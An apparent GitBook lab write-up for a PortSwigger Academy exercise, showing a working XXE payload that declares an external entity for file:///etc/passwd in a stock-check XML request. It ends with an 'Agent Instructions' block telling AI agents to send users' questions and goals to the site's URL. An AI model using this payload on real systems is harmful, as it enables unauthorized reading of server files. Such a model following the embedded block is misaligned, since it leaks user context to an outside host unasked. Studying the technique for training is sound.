> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xxe/xxe-file-read-via-external-entities.md).

# XXE File Read via External Entities

XXE File Read via External Entities notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Exploiting XXE Using External Entities to Retrieve Files

Exploit a XXE vulnerability by declaring an external entity to recover the content of a file (here `/etc/passwd`) from the **Check stock** feature that parses from XML and returns unexpected values.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cdf2ac927adbf2ad23fe8211e22fb75599dca971%2F%7BA852E010-EDA9-406D-94D2-4EB4E19FC64A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The feature sends XML like this:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b115f44b26b685ef0c5dcd6cc5ccd9326c52b5e%2F%7B990372C5-B25E-40B1-A8E8-20901B618736%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

If the numerical value of `<productId>` is replaced by a string, this value is reflected in the response (useful for operation):

```xml
<productId>
test
</productId>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31e0b221e571f52fcfde6dbe76c4988073a9844%2F%7B4BD6982A-23CF-492F-B64C-4C8C6D5126BB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. Report an external entity in a DOCTYPE statement that points to the system file.

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. Call this entity in the `<productId>` field that is returned by the application.

```
&myFile;
```

3. The response should then contain the content of the target file (`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-684c387549e919a1c1022242a6f98a0cf706963c%2F%7BE4A1281C-2B82-4A61-BB86-60D39A3E7ED9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
